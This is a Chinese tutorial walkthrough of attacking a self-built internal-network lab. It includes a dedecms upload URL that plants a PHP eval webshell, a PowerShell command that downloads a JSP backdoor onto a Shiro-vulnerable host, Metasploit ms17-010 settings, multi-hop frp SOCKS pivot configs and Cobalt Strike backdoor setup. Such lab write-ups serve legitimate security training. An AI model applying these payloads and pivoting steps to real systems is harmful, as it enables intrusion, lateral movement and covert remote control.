内网靶场_从自做到拿下-攻击篇
如有图片加载失败等问题 可通过本人公众号阅读:https://mp.weixin.qq.com/s/7MzYOZ10zrQCSZ2a9k23gw
1. 目录:
目 录 -------------------- 1
简介 ------------------------ 1.1
启动环境 --------------------- 2
攻击cms-linux靶机 ------- 3
cms利用-------------------------3.1
利用frp搭建socks隧道------3.2
一级socks隧道使用 ---- 3.3
攻击WinPC-shiro靶机 ---- 4
shiro利用 ---- 4.1
socks二级隧道搭建 ---- 4.2
攻击Win-ms17-010靶机 ---- 5
msf攻击ms17-010 ------ 5.1
socks三级隧道搭建 ----- 5.2
先建立第三级连接 — 5.2.1
再重启第二级连接 — 5.2.2
后重启第一级连接 — 5.2.3
总结 ------ 5.2.4
搭建反向socks隧道 ----- 6
错误示范 ----- ----- 6.1
正确搭建 ----- ----- 6.2
总结 ------ ------- 6.3
cs获取靶机shell ---- — 7
本文结语 ------ ------ -------- 8
1.1 简介:
本篇直接讲述,如何拿下整个靶场并利用frp搭建socks正向隧道,各种信息探测等,由于篇幅原因,不在本文讲述,会在后文中,专开一文,讲述信息获取等内容
在本文中,主要讲述攻击过程、及socks隧道搭建,以及尽可能详细的将该过程中的每个变量进行讲解,使你可以快速的自行利用
2. 启动环境
由我们自做的拓扑图可知,入口机gongwangip需要动态获取,如果是刚配置完,网络环境未发生改变,可以跳过该步,否则,需要重新获取ip:
首先查看攻击机ip、入口机ip,是否在同一网段:
可以看到由于网络环境的更换,宿主机(攻击机)ip自动更换,而挂起状态直接启动的靶机ip并未更新ip,此时需要问哦们手动更新ip:
因为该ip为动态ip,只需执行命令dhclient [需要重新获取ip的网卡名称] 如:dhclient ens33
在执行该命令的时候,有可能会遇到两个问题:一、提示不存在或找不到命令之类的 切换root权限即可 二、如果提示仅从被占用,直接使用kill+pid杀掉进程,再次执行即可
重新获取ip后,可以发现ens33网卡ip与攻击机ip已处于同一网段可以开始攻击利用
而其他靶机,因均为静态ip,直接启动利用即可,无需再更改ip
3. 攻击cms-linux靶机
3.1 cms利用
访问我们获取的动态ip(动态ip,根据网络环境不同ip不同,访问自己获取的ip即可)
笔者使用的cms为dedecms,漏洞为:弱口令登陆后台,后台文件上传+文件包含getshell(参考链接:https://www.cnblogs.com/thresh/p/13743219.html)
访问后台,:
尝试默认口令、弱口令登陆:
访问/dede/tpl.php?action=upload,查看源码获取token:824f91982e8fe2026d845304055909ec
访问: /dede/tpl.php?filename=【写入的文件名以 .lib.php 为后缀即可】&action=savetagfile&content=【要在文件中写入的内容】&token=【上面获取到的token值】
根据个人情况 自行替换即可
完整payload: /dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=824f91982e8fe2026d845304055909ec
如果执行后得到如下返回结果,再次获取token,重新执行即可:
成功写入 返回页面:
访问该后门文件:
/include/taglib/【自己写入后门的文件名】
/include/taglib/test.lib.php
修改payload写入的内容,为一句话:
payload: /dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20@eval($_POST[‘cmd’]);?%3E&token=824f91982e8fe2026d845304055909ec
使用蚁剑等工具 对webshell进行管理:
成功拿到入口机权限,但是 接下来的靶机 均处于内网,攻击机无法直接访问,只能通过入口机来间接访问,于是 要么在入口机安装各种攻击环境 (不现实),要么就是 搭建代理隧道,将流量进行转发,即可将入口机做为跳板机,进行内网攻击
3.2 socks隧道搭建
此处搭建socks隧道,我们采用frp搭建
在此 简单讲解下 个人对frp理解:
搭建隧道后 可以通过服务端将流量转发至客户端 frps-->frpc
往往将frps搭建至攻击机,将frpc搭建至内网,进而通过设置代理的方式 将流量转发至内网
在使用后门时,有时有需要使用反向代理,就需要将上述反向搭建
此处先讲述正向搭建,待将正向隧道搭建完毕后,再行搭建反向隧道
配置文件讲解 (仅讲解用到的关键内容):
frps.ini 运行在服务端,此处在攻击机运行
[common]
#服务器端监听的端口,默认是7000,可自定义,下同
bind_port = 7000
frps将发送到该端口的流量 通过socks隧道转发至内网
frpc.ini 运行在客户端,此处在靶机运行
[common] #固定不变即可
#服务端ip,即要连接的frps所运行的计算机的ip
server_addr = 172.16.52.164
#服务端,运行frps所监听的端口,与frps.ini照应即可
server_port = 7000
#方括号里面的算时一个标签吧 自定义即可 用来建立多级代理 如果是仅一级代理的话 仅需上面的common和下面的这个socks5_to_1即可,多级代理 就需要下面的 socks5_to_2、socks5_to_3。。。。进行端口转发
[socks5_to_1] #此处 为创建一级代理 所设
type = tcp #建立连接的类型
plugin = socks5 #设置插件 要建立socks5隧道
remote_port = 10088 #要在远程靶机上监听的端口 即监听与frpc所连接的frps所运行的服务端的端口
[socks5_to_2] #此处为建立二级代理 所设
type = tcp #同样以tcp类型建立连接
local_ip = 127.0.0.1 #本机ip 即加载该配置文件运行frpc的计算机ip
local_port = 12010 #本机监听端口 将远程端口接收到的数据转发至本机监听的该端口
remote_port = 12020 #远程监听端口 监听连接的frps服务端的这个端口 将该端口接收到的数据进行转发 转发至local_port
即远程12020端口的请求数据,转发至本地的12010端口
[socks5_to_3] #同上 为建立三级代理 做准备 根据自己需求所设即可
type = tcp
local_ip = 127.0.0.1 #同上 本地ip 用127.0.0.1代替
local_port = 12020 #同上 本地监听端口
remote_port = 13010 #同上 远程监听端口
具体运行情况 后文继续
此处进行一级隧道搭建 ,将我们的流量转发至入口机,进而对入口机所在的网段进行扫描
此时建立正向隧道 将攻击机流量代理至入口机:
在攻击机执行frps,在靶机执行frpc,具体如下:
配置frps监听7000端口:
[common]
bind_port = 7000
通过webshell上传至靶机,并运行:
配置frpc向frps建立连接:
[common]
server_addr = 172.16.52.227 #运行frps端的ip
server_port = 7000 #frps.ini里面配置的监听端口
#因为目前仅拿下了一台靶机,故建立一层连接即可
[socks5_to_1]
type = tcp
plugin = socks5 #设置插件
remote_port = 10088 #监听远程服务器端口,即从靶机监听攻击机的10088端口,并接收流量
#注:中文注释的存在,有时会导致frp的启动错误,故在跟随复现的过程中,建议去掉这些中文注释,下同
前面我们已经讲到 通过cms漏洞拿到webshell 并用蚁剑成功连接,此时通过webshell上传frpc 并运行
上传后 直接执行的话 如果提示权限不足,如下 需要使用命令chmod 赋予他们可执行权限:
在执行的时候 如果出现如下错误,则去除中文:
可以看到 frpc成功启动,并且成功与攻击机建立隧道连接,端口为10088
接下来即可通过建立的socks隧道 对内网进行扫描:
设置socks代理后 即可通过内网IP访问网页 以及设置代理后 实用工具 直接对内网进行扫描:
3.3 一级socks隧道使用
代理隧道搭建成功后 虽说可以设置全局代理,但是 总有些程序 不走全局代理,故在攻击机kali上安装proxychains
sudo apt install proxychains
sudo vim /etc/proxychains.conf #在该配置文件末尾 添加socks5代理 如下图
我们使用frp搭建的socks5隧道
使用方法(如果是新安装的 记得安装并配置完proxychains后 重启一个命令行窗口):
使用nmap 通过代理探测 ,发现存活主机 192.168.10.20 开放端口8080,访问之:
4. 攻击WinPC-shiro靶机
4.1 shiro利用
对目录进行扫描,发现存在shiro目录,访问之,发现存在登陆:
对shiro框架进行漏洞利用,同样使用搭建的socks隧道,可以发现shiro反序列化漏洞可以成功利用:
利用成功后,为方便操作,上传jsp后缀的webshell,上传方式:
通过利用成功的shiro漏洞,执行powershell.exe 的 下载文件的命令,将jsp后门下载至靶机:
在shiro反序列化利用工具 里面执行下列命令
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.10.10/include/taglib/frp/shell.jsp.7z','C:\Program Files\apache-tomcat-8.5.73\webapps\shiro\s.jsp')
#该命令为weindows环境中 powershell.exe 程序 下载互联网文件的命令,下载路径、文件名等 均可自定义
#powershell.exe (new-object System.Net.WebClient).DownloadFile('url地址','文件保存路径')
#因为是内网,192.168.10.20,可以通过内网访问192.168.10.10,所以先把后门文件上传至入口机,再通过该命令将后门文件或者程序下载至 shiro 靶机,设置代理,连接
通过我们前面搭建的socks代理隧道,连接这个后门文件:
成功连接webshell,查看ip可以明显的发现内网的第二个网段 192.168.20.*
4.2 socks二级隧道搭建
前面已讲述了利用frp搭建socks隧道,并简单讲述了,必要变量的使用,此处搭建二级隧道,对一级隧道进行延伸,使其可以将流量转发至内网的 192.168.20.* 网段
配置文件如下:
#frps.ini 二级代理,仅需监听本地端口即可
[common]
bind_port = 7000
#frpc_1.ini 因为要建立二级代理故 会有两个客户端进行连接,一个一级,一个二级,该配置文件为第一层
#在入口机执行
[common]
server_addr = 172.16.52.164 #向服务端 即攻击机发起连接
server_port = 7000 #通过服务端监听的7000端口建立连接
[socks5_to_1] #建立一级隧道
type = tcp
plugin = socks5 #调用socks插件 建立的是socks5隧道
remote_port = 10088 #监听远程的10088端口,即监听攻击机的1008端口,而不是本地的10088端口
[socks5_to_2] #为建立二级隧道做准备 进行端口转发
type = tcp
local_ip = 127.0.0.1 #本地ip,默认127.0.0.1 不写也可
local_port = 10088 #将远程端口监听到的数据转发至本地的该端口
remote_port = 12020 #即将监听到的攻击机12020端口的数据 转发至本地的10088端口
#与socks5_to_1的10088端口不是同一个端口,一个远程一个本地
#frpc_2.ini 二级代理的配置文件
[common] #在WinPC-shiro 靶机执行
server_addr = 192.168.10.10 #向服务端,即入口机发起连接
server_port = 7000 #因为frps.ini配置的均为监听本地7000端口,故 向7000端口发起连接即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088 #监听远程,即入口机的10088端口 因为frpc_1.ini中 通过端口转发将攻击机的12020端口的数据转发至入口机的10088端口 所以此处对入口机的10088端口进行监听,就相当于间接的监听攻击机的12020端口
为防止 一级代理连接失效,现将配置文件上传至对应靶机,建立内网隧道,然后再关闭首次搭建的一级代理,重新加载配置文件并启动
先将frps 上传至 cms-linux 并运行(注意上传对应操作系统的程序):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gd8uxWYc-1647234440735)(http://121.40.92.63/png/28.png)]
上传至linux后需要先赋予可执行权限,然后运行frps (此时该处的frpc.ini依旧是一级代理,未包含二级端口转发)
然后上传frpc_2.exe至 WinPC-shiro (linux和windows环境不一样 故需要上传exe程序 ini文件不变):
在虚拟终端执行,根据回显可知成功建立连接:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HwU2Iez3-1647234440737)(http://121.40.92.63/png/30.png)]
接下来 ,再把包含端口转发的frpc.ini上传至入口机,重启frpc即可:
先kill掉旧的frpc进程,然后重新加载ini,运行frpc,可以看到在攻击机上连接成功:
此时修改我们的代理为二级代理的端口,进行访问测试:
可以发现 192.168.20.* 网段成功访问
至此二级代理搭建完毕,多级代理依次类推,后面还有个三级代理搭建,可对照理解:
此时攻击机代理端口分别对应:
10088 --> 192.168.10.* 网段
12020 --> 192.168.20.* 网段
注:因为此时已经是win主机,可以通过搭建反向隧道(目前为止搭建的均为正向,将我们的流量代理至内网),上传exe后门,使其上线cs,进一步对内网渗透,此处我们继续采用正想搭建隧道,先把所有网段拿下后,在进行反向隧道搭建的通一讲解,故,暂不适用cs
5. 攻击Win-ms17-010靶机
5.1 msf攻击ms17-010
此处,由于已经进入内网环境,且仅有入口机可通外网,故我们对内网靶机 如WIn-ms17-010等,内网网段192.168.20.*的任何请求,虽然通过代理 已经可以将数据包代理至WinPC-shiro靶机,但是,虽然请求报进入了内网,因为我们代理的靶机WinPC-shiro无法访问外网,故 大部分工具无法收到响应包,也就会探测失败。这也是我们后面要讲反向搭建socks隧道的原因。
#如果想要进行测试的话,由于proxychains是无法代理icmp流量的,所以虽然不能使用ping命令,但是可以使用nmap
proxychains nmap -p 1-1000 -Pn -sT 192.168.30.10 # -Pn和-sT必须要有
此处我们直接使用msf对靶机的ms17-010漏洞进行利用,待后面讲完反向隧道搭建后,可以在此处直接搭建反向隧道,然后上线cs,就可以方便的进行后渗透了
正常情况下,可以互相访问的话,直接就可以使用相关模块进行探测、利用,但是这里是对内网环境的攻击利用,故需要先设置代理,通过我们搭建的二级隧道,将我们的流量转发至内网(至于响应包不出网的问题,不用担心,msf有专门针对性的payload可用)
启动msf,并设置代理:
两个设置:1. setg Proxies socks5:172.16.52.164:12020 设置我们搭建的socks隧道。同时因为该代理ip和msf所在攻击机为同一ip,故也可用127.0.0.1代替,如:setg Proxies socks5:127.0.0.1:12020
2. setg ReverseAllowProxy true 设置允许反向连接,因为我们攻击ms17-010后,需要通过反弹shell的形式,获取该靶机的shell
选择并使用对应exp (此处略过探测过程)
设置我们靶机的ip、端口,
set rhost 192.168.20.20 #靶机ip,因已代理至内网,故直接设置内网ip即可
#本机ip,虽内网不出网,但msf有针对性的payload,前面也已设置代理和允许反向链接
set lhost 172.16.52.164
#默认情况下 端口情况即为445、4444,故默认情况下,仅需设置ip即可
set rport 445
set lport 4444
#此时,正常情况下设置完ip后即可开始攻击利用,但是因为响应包无法传输至外网,也就是无法到达我们的攻击机,故还需要更换payload,不能使用默认的:
set payload windows/x64/meterpreter/bind_tcp
开始攻击利用(注:链接不稳定,如果失败,多尝试几次即可,约两到三次,比较看运气):
出现下述结果时,证明会话建立成功
当利用成功,出现提示符 meterpreter 时,我们就可以执行msf提供的一系列功能,
ps: 查看进程
upload: 用来上传我们的后门程序
download: 可以下载靶机文件
execute: 加上 -f 参数在靶机执行exe程序,即用来启动我们上传的后门文件
(还有一系列的其他功能,提权、监听、抓取密码等等,详情自行百度)
5.2 socks三级隧道搭建
#frps.ini 依旧仅监听本地7000端口即可
[common]
bind_port = 7000
#frpc_1.ini 因为要建立三级代理故 会有三个客户端进行连接,该配置文件为第一层
#在入口机执行
[common]
server_addr = 172.16.52.164 #向服务端 即攻击机发起连接
server_port = 7000 #通过服务端监听的7000端口建立连接
[socks5_to_1] #建立一级隧道
type = tcp
plugin = socks5 #调用socks插件 建立的是socks5隧道
remote_port = 10088 #监听远程的10088端口,即监听攻击机的1008端口,而不是本地的10088端口
[socks5_to_2] #为建立二级隧道做准备 进行端口转发
type = tcp
local_ip = 127.0.0.1 #本地ip,默认127.0.0.1 不写也可
local_port = 10088 #将远程端口监听到的数据转发至本地的该端口
remote_port = 12020 #即将监听到的攻击机12020端口的数据 转发至本地的10088端口
#与socks5_to_1的10088端口不是同一个端口,一个远程一个本地
#【搭建多级代理的主要区别,就是新增端口转发即可,故socks5_to_1、socks5_to_2不需更改,新添一个端口转发即可】
[socks5_to_3]
type = tcp
local_ip = 127.0.0.1
local_port = 12020 #将远程端口监听到的数据转发至本地的该端口
remote_port = 13020 #即将监听到的攻击机13010端口的数据 转发至本地的12020端口
#与socks5_to_2的12020端口不是同一个端口,一个远程一个本地
#frpc_2.ini 二级代理的配置文件
[common] #在WinPC-shiro 靶机执行
server_addr = 192.168.10.10 #向服务端,即入口机发起连接
server_port = 7000 #因为frps.ini配置的均为监听本地7000端口,故 向7000端口发起连接即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088 #监听远程,即入口机的10088端口 因为frpc_1.ini中 通过端口转发将攻击机的12020端口的数据转发至入口机的10088端口 所以此处对入口机的10088端口进行监听,就相当于间接的监听攻击机的12020端口
#【同frpc_1.ini,仅需添加一个端口转发即可】
#因需要搭建三级代理,WinPC-shiro 作为入口机和 Win-ms17-010 的中转机,同样需要添加端口转发
[socks5_to_2]
type = tcp
local_ip = 127.0.0.1
local_port = 10088 #监听远程,即入口机的12020端口,并将流量转发至本地10088端口,socks5_to_1中的
remote_port = 12020 #10088为远程的10088端口,为防止迷惑,可自行修改端口即可,经过转发后即为:
#攻击机13020--》入口机12020--》WinPC-shiro10088进而被Win-ms17-010监听
#frpc_3.ini 三级代理的配置文件
[common] #在 Win-ms17-010 靶机执行
server_addr = 192.168.20.10 #向服务端,即 WinPC-shiro 发起连接
server_port = 7000 #因为frps.ini配置的均为监听本地7000端口,故 向7000端口发起连接即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088 #上述,经过转发后,流量已到达 WinPC-shiro 的10088端口,监听即可
同样 为防止代理中断,依旧由内而外的搭建,先运行frps后运行frpc建立连接,(否则frpc会因为连接失败,而激动失败)
5.2.1 先建立第三级连接
将frps及frps.ini上传至WinPC-shiro并启动:
在启动frps的时候,由于会回显连接、数据传输等信息,故让其后台执行即可,下图为方便示例为让其后台执行
start /b frps.exe -c frps_win.ini
将frpc及frpc.ini通过msf上传至Win-ms17-010靶机并执行:
找一个存放上传的后门的目录 admin 最好具有可执行权限,防止出现问题:
使用upload 命令上传文件至该目录:
上传完成后,使用命令 execute 启动我们的frpc,因为frpc在启动时会默认寻找当前目录下的frpc.ini文件,故上传后最好将其命名为frpc.ini,也就不需要使用-c指定配置文件了:
5.2.2 再重启第二级连接
第三层代理已经成功连接,接下来需要重启第二层代理,因为我们第二层代理已经是连通状态,故服务端的frps是已经启动的状态,仅需上传修改后的frpc.ini并重启frpc即可:
使用命令:tasklist查看进程列表:
使用命令:
taskkill /f /t /im frpc.exe #根据程序名结束进程
taskkill /F /pid 2856 -t #根据pid结束进程名
结束后,重新加载配置文件并执行:
5.2.3 后重启第一级连接
同上,仅需在入口机上传(或直接修改)修改后的配置文件,并重启:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M0EnXvIm-1647234440745)(http://121.40.92.63/png/48.png)]
为验证代理是否可用,我们修改设置:
5.2.4 总结
至此,多级代理搭建完毕:
10088:可访问:192.168.10.*段
12020:可访问:192.168.20.*段
13020:可访问:192.168.30.*段
因为ms17-010靶机没有后门不方便管理,我们可以采用两种方式
1.通过msf生成后门,上传执行,获取会话,并转接至cs,进行管理和后渗透
2.建立反向socks通道,生成反向cs后门,直接建立会话
注:此处,为讲解反向搭建socks隧道,故仅讲述方法2
6.搭建反向socks隧道
注:6.1 和 6.2 部分 仅为讲解反向隧道的搭建,为上线cs时搭建反向隧道做理论基础准备,在7部分会重新搭建专属反向隧道,有理论基础的可跳过这两部分
6.1 错误示范
反向搭建socks隧道整体思路,和搭建正向没有太大区别,主要区别是,正向隧道目标是对每个网段都能进行访问监听,反向隧道的目标是将某台主机的数据转发至公网的攻击机,故仅需一个端口转发,一路转发至攻击机即可:
#服务端同样是仅开启一个端口进行监听即可,但因为我们已经建立了一条由外而内正向隧道,7000端口已被占用,故我们需要更换端口(同理,frpc.ini中的端口也要更换防止端口冲突)
[common]
bind_port = 8000
#frpc_1.ini 在 WinPC-shiro 靶机加载运行,向 Win-ms17-010 发起请求建立连接
[common]
server_addr = 192.168.20.20
server_port = 8000
因为仅需将靶机数据代理至攻击机,建立唯一隧道即可,故仅需做转发而不需每层建立单独的隧道了
[socks5_to_1] #为建立一级转发做准备
type = tcp
local_ip = 127.0.0.1 #本地ip,默认127.0.0.1 不写也可
local_port = 22020 #Win-ms17-010靶机的23020端口的数据转发至本机的22020端口
remote_port = 23020
#frpc_2.ini 在 cms-linux 靶机加载运行,向 WinPC-shiro 发起请求建立连接
[common]
server_addr = 192.168.10.20
server_port = 8000
因为仅需将靶机数据代理至攻击机,建立唯一隧道即可,故仅需做转发而不需每层建立单独的隧道了
[socks5_to_1] #为建立一级转发做准备
type = tcp
local_ip = 127.0.0.1 #本地ip,默认127.0.0.1 不写也可
local_port = 20088 #Win-ms17-010靶机的23020端口的数据转发至 WinPC-shiro 的22020端口
remote_port = 22020 #然后再由 WinPC-shiro 的22020端口 转发至本机的20088端口
#frpc_3.ini 在 攻击机 加载运行,向 入口机 cms-linux 发起请求建立连接
[common]
server_addr = 172.16.52.234
server_port = 8000
#经过两层端口转发后,数据已转发至入口机的20088端口,故此时,仅需在攻击机启动frpc接收入口机的数据即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 20088
开始上传并执行(为防止冲突、或为方便识别,建议将程序和配置文件重命名):
同样,由内而外,先启动frps:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kKS37cIV-1647234440746)(http://121.40.92.63/png/51.png)]
上传并启动一级转发:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6t9tkjJH-1647234440746)(http://121.40.92.63/png/52.png)]
可以发现,建立连接失败,是因为,ms17-010靶机处于域环境,虽然可以主动访问外部数据(这也是为什么正向隧道可以搭建),但是却会拒绝所有外部向内发起的连接(为何frps明明已经启动,但frpc却无法连接)
6.2 正确搭建
思路:综上,我们仅需建立一级转发,将流量从 WinPC-shiro 以 入口机做中转 转发至攻击机即可,然后上线cs,通过反弹shell的方式使靶机 Win-ms17-010 上线,进而进入域环境:
去掉一层转发后:
#frps.ini不变
[common]
bind_port = 8000
#frpc_1.ini 在 cms-linux 靶机加载运行,向 WinPC-shiro 发起请求建立连接
[common]
server_addr = 192.168.10.20
server_port = 8000
#因为仅需将靶机数据代理至攻击机,建立唯一隧道即可,故仅需做转发而不需每层建立单独的隧道了
[socks5_to_1] #为建立一级转发做准备
type = tcp
local_ip = 127.0.0.1 #本地ip,默认127.0.0.1 不写也可
local_port = 20088 #监听 WinPC-shiro 的22020端口
remote_port = 22020 #然后再由 WinPC-shiro 的22020端口 转发至本机的20088端口
#frpc_2.ini 在 攻击机 加载运行,向 入口机 cms-linux 发起请求建立连接
[common]
server_addr = 172.16.52.234
server_port = 8000
#经过一层端口转发后,数据已转发至入口机的20088端口,故此时,仅需在攻击机启动frpc接收入口机的数据即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 20088
在 WinPC-shiro 靶机上 执行我们的frps_0.exe:
在入口机 cms-inux 上执行 frpc 进行端口转发:
端口转发已搭建,接下来便是把流量从入口机转发至攻击机:
攻击机上执行frpc:
在启动frpc\frps的时候,均可以让其在后台运行:
windows端:start /b ***.exe
linux端: ./***** -c ***.ini & #linux端 加上 & 即可转后台运行 此处为方便观察未转后台
综上 反向隧道已搭建完毕,由于不方便验证,可通过 搭建过程中均回显正常 未报错,假设其已经搭建成功,然后生成cs后门,反弹shell,如果反弹成功,便验证其可用
此处,笔者直接进入靶机,直接设置代理进行验证:
至于如何通过设置代理的方式上线cs,还需研究,此处直接使用跳板的方式上线cs,过程再第七部分
欢迎关注笔者微信公众号,不定期分享技术文章,共同进步:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fvh1aTv2-1647234440751)(http://121.40.92.63/png/62.jpg)]
6.3 总结
很多情况下,由于防火墙等原因,当外部向内部发起连接请求时,都会被拦截,这也是为何大部分情况下都采用反弹shell的方法,如上,由于加入了域环境,外部向内的连接会被拦截,但是内部向外的却不会被拦截。故真实环境中也如此,在内网渗透过程中,同样也要注意类似的环境问题
7. cs获取靶机shell
注:在第六部分中,搭建的反向隧道,是socks隧道,设置代理将内网流量转发至外网,由原先的不出网环境,变为可以访问外网。但是我们在使用cs获取靶机shell的时候,却不需要他任意访问,而是只需要接收到我们后门发送出的数据,并且把数据转发至攻击机即可,故在cs通过跳板机获取反弹shell的时候,仅需做一个端口转发即可,具体如下:
本部分内容,相关文章可参考:
#Cobalt srtike使用frp实现内网穿透
https://blog.csdn.net/csdnmmd/article/details/120589452
根据我们的拓扑图,因为仅需做一个端口转发,让攻击机可以接收到靶机后门的流量,上述参考文章是一台跳板,此处结合我们6.2部分,直接以 cms-linux、WinPC-shiro 两台作为靶机,一次性将后门架设至 Win-ms17-010靶机,并上线cs,frp配置如下:
#frps.ini 在靶机 cms-linux、WinPC-shiro 两台跳板机 加载运行
[common]
bind_port = 8000 #同上端口可自定义,但因我们有正向隧道的 7000端口监听,为防止冲突,需要更换
#frpc_0_1.ini 在 入口 加载运行,向 WinPC-shiro 发起请求建立连接
[common]
server_addr = 192.168.10.20
server_port = 8000
#在上面给出的参考文章的链接中,其文章还讲述了要将客户端的流量也进行转发,经过跳板机再从新转发至攻击机,经笔者测试,可以省略,仅需对后门流量做出转发即可
[WinPC_shiro_9080] #此处,作为后门反弹shell连接时的端口转发
type = tcp
local_ip = 127.0.0.1
local_port = 9080 #cs服务端监听端口
#remote_port = 29080 这一行为错误示范,即当两个端口不一致时,会无法反弹shell,截图在后面
remote_port = 9080 #通过该端口,将反弹的shell转发至cs服务端
#两个端口必须一致,因为设置的监听和转发端口如果不一致,在用cs生成后门时,其不会自动做转换
上面配置文件中,错误示范行,当端口设置不一致时,反弹失败截图:虽然确实流量请求至29080端口,也被转发至攻击机9080端口,但因为监听器设置的时29080,9080未被监听,也就导致了下面的错误,故两个端口应该一致:
#frpc_0_2.ini 在 攻击机 加载运行,向 入口机 cms-linux 发起请求建立连接
[common]
server_addr = 172.16.52.234
server_port = 8000
[cms_linux_9080] #此处,作为后门反弹shell连接时的端口转发
type = tcp
local_ip = 127.0.0.1
local_port = 9080 #cs服务端监听端口
remote_port = 9080 #正确配置, frpc_0_1.ini 于此相同
开始上传并执行:
在 WinPC-shiro 、入口机 cms_linux,启动frps_0
WinPC-shiro 启动:
可使用命令:tast /b frps_0.exe -c frps_0_win.ini 转后台运行
入口机 cms_linux 启动,可在命令末尾加 & 转后台运行
在 入口机 cms_linux 、 攻击机,加载并启动frpc:
入口机 cms_linux:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-20ehHVqk-1647234440754)(http://121.40.92.63/png/71.png)]
攻击机 启动frpc_0.ini
攻击机启动 cs服务端,客户端在本机启动,并通过我们设置的代理连接服务端:
客户端直连即可,不需要再经过代理
生成监听器:
# 因为已建立反向socks隧道,故在http Proxy中设置代理后,直接将ip设置未本地ip即可
name:为监听器名字,可任意
payload:payload类型
HTTP Hosts: shell反弹的主机,也就是我们kali的ip(如果是阿里云,则填阿里云主机的公网ip)
HTTP Hosts(Stager): Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
HTTP Port(C2): C2监听的端口
打开监听面板,并创建新的监听
生成后门exe,通过下面的设置后,点击左边的Generate按钮,会让选择生成的exe保存路径,保存后,把生成的exe后门上传至靶机,并执行:
选中我们的监听,根据靶机类型,自行选择是否是 x64架构:
同样,使用msf(利用过程同 第五部分),上传并运行cs生成的后门程序:
启动后门,稍等一会,便可上线:
本文结语
至此:拿下一台域成员剩下的便是探测各种信息,以及拿域控,如果在域环境中,还存在其他域成员,同样也可以进一步拿下其他域成员。
由于篇幅原因,暂时就到这里,剩余的信息收集、拿域控等等,会另开新文进行讲述,请期待新文可关注笔者公众号进行系列文阅读: